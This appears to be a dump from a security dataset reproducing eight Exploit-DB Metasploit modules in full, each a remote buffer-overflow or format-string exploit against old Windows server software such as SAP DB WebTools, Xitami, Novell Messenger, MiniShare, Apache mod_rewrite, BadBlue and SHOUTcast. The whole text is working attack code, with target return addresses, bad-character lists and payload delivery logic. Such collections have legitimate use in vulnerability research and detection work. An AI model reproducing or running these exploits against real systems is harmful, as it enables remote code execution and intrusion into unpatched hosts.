QLWD/code_shield huggingface dataset:
标题: Private Wire Gateway - Remote Buffer Overflow (Metasploit) EDB-ID: 16760 CVE: 2006-3252 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Private Wire Gateway Buffer Overflow',
   'Description'    => %q{
     This exploits a buffer overflow in the ADMCREG.EXE used
    in the PrivateWire Online Registration Facility.
   },
   'Author'         => 'Michael Thumann <mthumann[at]ernw.de>',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2006-3252'],
     ['OSVDB', '26861'],
     ['BID', '18647'],
    ],
   'Payload'        =>
    {
     'Space'    => 8000,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 English SP0',     { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
     ['Windows 2000 English SP1',     { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
     ['Windows 2000 English SP2',     { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
     ['Windows 2000 English SP3',     { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
     ['Windows 2000 English SP4',     { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
     ['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
     ['Debugging',                    { 'Ret' => 0x41414141 }], # crash
    ],
   'DefaultTarget'  => 4,
   'DisclosureDate' => 'Jun 26 2006'))

  register_options(
   [
    OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
   ], self.class)
 end

 def exploit
  # add 25 to ecx and jmp
  jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"

  path_offset = datastore['PATH'].length - 8

  pattern                            = rand_text_alphanumeric(8192)
  pattern[0, payload.encoded.length] = payload.encoded
  pattern[8156 - path_offset, 4]     = [target.ret].pack('V')
  pattern[8160, jmp.length]          = jmp

  print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

  send_request_raw({
    'uri' => "/" + pattern
   }, 2)
 end

end URL: https://www.exploit-db.com/exploits/16760
标题: SAP DB 7.4 - WebTools Buffer Overflow (Metasploit) EDB-ID: 16758 CVE: 2007-3614 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-16 漏洞利用脚本: ##
# $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
    By sending an overly long GET request, it may be possible for
    an attacker to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9842 $',
   'References'     =>
    [
     [ 'CVE', '2007-3614' ],
     [ 'OSVDB', '37838' ],
     [ 'BID', '24773' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 850,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
    ],
   'DisclosureDate' => 'Jul 5 2007',
   'DefaultTarget'  => 0))

  register_options( [ Opt::RPORT(9999) ], self.class )
 end

 def exploit

  filler = rand_text_alphanumeric(20774)
  seh = generate_seh_payload(target.ret)

  sploit = filler + seh + rand_text_alphanumeric(3000)

  print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

  res = send_request_raw(
   {
    'uri'   => '/webdbm',
    'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
   }, 5)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16758
标题: Xitami Web Server 2.5c2 - If-Modified-Since Overflow (Metasploit) EDB-ID: 16753 CVE: 2007-5067 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: xitami_if_mod_since.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in the iMatix Corporation
    Xitami Web Server. If a malicious user sends an If-Modified-Since
    header containing an overly long string, it may be possible to
    execute a payload remotely. Due to size constraints, this module uses
    the Egghunter technique.
   },
   'Author'  => 'patrick',
   'License'       => MSF_LICENSE,
   'Version'       => '$Revision: 10150 $',
   'References'    =>
   [
    [ 'CVE', '2007-5067' ],
    [ 'OSVDB', '40594'],
    [ 'OSVDB', '40595'],
    [ 'BID', '25772' ],
    [ 'URL', 'http://www.milw0rm.com/exploits/4450' ],
   ],
   'Privileged'  => false,
   'DefaultOptions' =>
   {
    'EXITFUNC' => 'process',
   },
   'Payload'  =>
    {
     'Space'  => 700,
     'BadChars'  => "\x00\x0a\x0d",
    },
   'Platform' => ['win'],
   'Targets'  =>
   [
   # Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
    [ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
    [ 'xitami.exe  Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
   ],
   'DisclosureDate' => 'Sep 24 2007',
   'DefaultTarget' => 0))

   register_options(
   [
    Opt::RPORT(80),
   ],self.class)
 end

 def check
  connect
  sock.put("GET / HTTP/1.1\r\n\r\n")
  banner = sock.get(-1,3)
  disconnect

  if (banner =~ /Xitami/)
   return Exploit::CheckCode::Appears
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  egg     = hunter[1]

  sploit = "GET / HTTP/1.1\r\n"
  sploit << "Host: " + egg + "\r\n"
  sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
  sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']

  sock.put(sploit + "\r\n\r\n")

  print_status("Waiting for payload to execute...")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16753
标题: Novell Messenger Server 2.0 - Accept-Language Overflow (Metasploit) EDB-ID: 16757 CVE: 2006-0992 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: novell_messenger_acceptlang.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell Messenger Server 2.0 Accept-Language Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell GroupWise
    Messenger Server v2.0. This flaw is triggered by any HTTP
    request with an Accept-Language header greater than 16 bytes.
    To overwrite the return address on the stack, we must first
    pass a memcpy() operation that uses pointers we supply. Due to the
    large list of restricted characters and the limitations of the current
    encoder modules, very few payloads are usable.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-0992'],
     ['OSVDB', '24617'],
     ['BID', '17503'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'           => 500,
     'BadChars'        => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Groupwise Messenger DClient.dll v10510.37', { 'Rets' =>  [0x6103c3d3, 0x61041010] }],
    ],
   'DisclosureDate' => 'Apr 13 2006'))

  register_options( [ Opt::RPORT(8300) ], self.class )
 end

 def exploit
  connect

  lang = rand_text_alphanumeric(1900)
  lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
  lang[272, 4] = [target['Rets'][1]].pack('V') # DST
  lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
  lang[268, 2] = "\xeb\x06"
  lang[276, payload.encoded.length] = payload.encoded

  res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"

  print_status("Trying target address 0x%.8x..." % target['Rets'][0])
  sock.put(res)
  sock.close

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16757
标题: MiniShare 1.4.1 - Remote Buffer Overflow (Metasploit) EDB-ID: 16754 CVE: 2004-2271 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: minishare_get_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Minishare 1.4.1 Buffer Overflow',
   'Description'    => %q{
     This is a simple buffer overflow for the minishare web
    server. This flaw affects all versions prior to 1.4.2. This
    is a plain stack buffer overflow that requires a "jmp esp" to reach
    the payload, making this difficult to target many platforms
    at once. This module has been successfully tested against
    1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
   },
   'Author'         => [ 'acaro <acaro@jervus.it>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-2271'],
     [ 'OSVDB', '11530'],
     [ 'BID', '11620'],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
     'MinNops'  => 64,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp
     ['Windows 2000 SP4 English',     { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp
     ['Windows XP SP0-SP1 English',   { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
     ['Windows XP SP2 English',       { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
     ['Windows 2003 SP0 English',     { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
     ['Windows NT 4.0 SP6',           { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
     ['Windows XP SP2 German',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
     ['Windows XP SP2 Polish',        { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
     ['Windows XP SP2 French',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
    ],
   'DisclosureDate' => 'Nov 7 2004'))
 end

 def exploit
  uri = rand_text_alphanumeric(target['Rets'][0])
  uri << [target['Rets'][1]].pack('V')
  uri << payload.encoded

  print_status("Trying target address 0x%.8x..." % target['Rets'][1])
  send_request_raw({
   'uri' => uri
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16754
标题: Apache mod_rewrite - LDAP protocol Buffer Overflow (Metasploit) EDB-ID: 16752 CVE: 2006-3747 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-15 漏洞利用脚本: ##
# $Id: apache_mod_rewrite_ldap.rb 8498 2010-02-15 00:48:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apache module mod_rewrite LDAP protocol Buffer Overflow',
   'Description'    => %q{
    This module exploits the mod_rewrite LDAP protocol scheme handling
    flaw discovered by Mark Dowd, which produces an off-by-one overflow.
    Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
    This module requires REWRITEPATH to be set accurately. In addition,
    the target must have 'RewriteEngine on' configured, with a specific
    'RewriteRule' condition enabled to allow for exploitation.

    The flaw affects multiple platforms, however this module currently
    only supports Windows based installations.
   },
   'Author'         => 'patrick',
   'Version'        => '$Revision: 8498 $',
   'References'     =>
    [
     [ 'CVE', '2006-3747' ],
     [ 'OSVDB', '27588' ],
     [ 'BID', '19204' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/3680' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/3996' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/2237' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Platform'       => ['win'], # 'linux'],
   'Payload'        =>
    {
     'Space'    => 636,
     'BadChars' => "\x00\x0a\x0d\x20",
     'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
     'StackAdjustment' => -3500,
     'DisableNops'  =>  'True',
    },
   'Targets'        =>
    [
     [  'Automatic', {} ], # patrickw tested OK 20090310 win32
    ],
   'DisclosureDate' => 'Jul 28 2006',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),
    ], self.class)
 end


 def check
  res = send_request_raw({
   'uri'     => '/',
   'version' => '1.1',
  }, 2)

  if (res.to_s =~ /Apache/) # This could be smarter.
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe

 end

 def exploit

  # On Linux Apache, it is possible to overwrite EIP by
  # sending ldap://<buf> ... TODO patrickw

  trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'

  print_status("Sending payload.")
  send_request_raw({
    'uri'     => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded,
    'version' => '1.0',
    }, 2)
  handler
 end
end URL: https://www.exploit-db.com/exploits/16752
标题: BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit) EDB-ID: 16761 CVE: 2005-0595 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
 # However, a proper Server header is returned when requesting /index.html or using HEAD.
 HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BadBlue 2.5 EXT.dll Buffer Overflow',
   'Description'    => %q{
    This is a stack buffer overflow exploit for BadBlue version 2.5.
   },
   'Author'         => 'acaro <acaro [at] jervus.it>',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     [ 'CVE', '2005-0595' ],
     [ 'OSVDB', '14238' ],
     [ 'BID', '7387' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
    ],
   'DisclosureDate' => 'Apr 20 2003',
   'DefaultTarget'  => 0))
 end

 def check
  info = http_fingerprint  # check method
  if (info =~ /BadBlue\/2\.5/)
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  uri     = "GET /ext.dll?mfcisapicommand="
  sploit  = rand_text_alphanumeric(500)
  seh     = generate_seh_payload(target.ret)
  sploit[492, seh.length] = seh
  uri << sploit

  print_status("Trying target #{target.name}...")
  send_request_raw({ 'uri' => uri })

  handler
 end

end URL: https://www.exploit-db.com/exploits/16761
标题: SHOUTcast DNAS/Win32 1.9.4 - File Request Format String Overflow (Metasploit) EDB-ID: 16751 CVE: 2004-1373 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: shoutcast_format.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
   'Description'    => %q{
     This module exploits a format string vulnerability in the
    Nullsoft SHOUTcast server for Windows. The vulnerability is
    triggered by requesting a file path that contains format
    string specifiers. This vulnerability was discovered by
    Tomasz Trojanowski and Damian Put.
   },
   'Author'         => [ 'MC', 'mandragore[at]gmail.com'],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2004-1373'],
     [ 'OSVDB', '12585'],
     [ 'BID', '12096'],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 250,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799 }], # ws2help.dll
     ['Windows 2000 English ALL',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
     ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
     ['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638 }], # PEB return
    ],
   'DisclosureDate' => 'Dec 23 2004'))

  register_options(
   [
    Opt::RPORT(8000)
   ], self.class)
 end

 def check
  r = send_request_raw({
   'uri' => uri
  }, 5)

  return Exploit::CheckCode::Safe if not r

  m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
  return Exploit::CheckCode::Safe if not m

  print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")

  # SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
  if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
   if (m[2] == "win32")
    return Exploit::CheckCode::Vulnerable
   end
   print_status("Vulnerable version detected, but not a win32 host")
  end

  return Exploit::CheckCode::Safe
 end

 def exploit

  num = 1046 - payload.encoded.length
  uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
  uri << "\xeb\x06" + rand_text_alphanumeric(2)
  uri << [target.ret].pack('V')
  uri << "\xe9\x2d\xff\xff\xff"
  uri << '#0100x.mp3'

  print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
  send_request_raw({
   'uri' => uri
  }, 5)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16751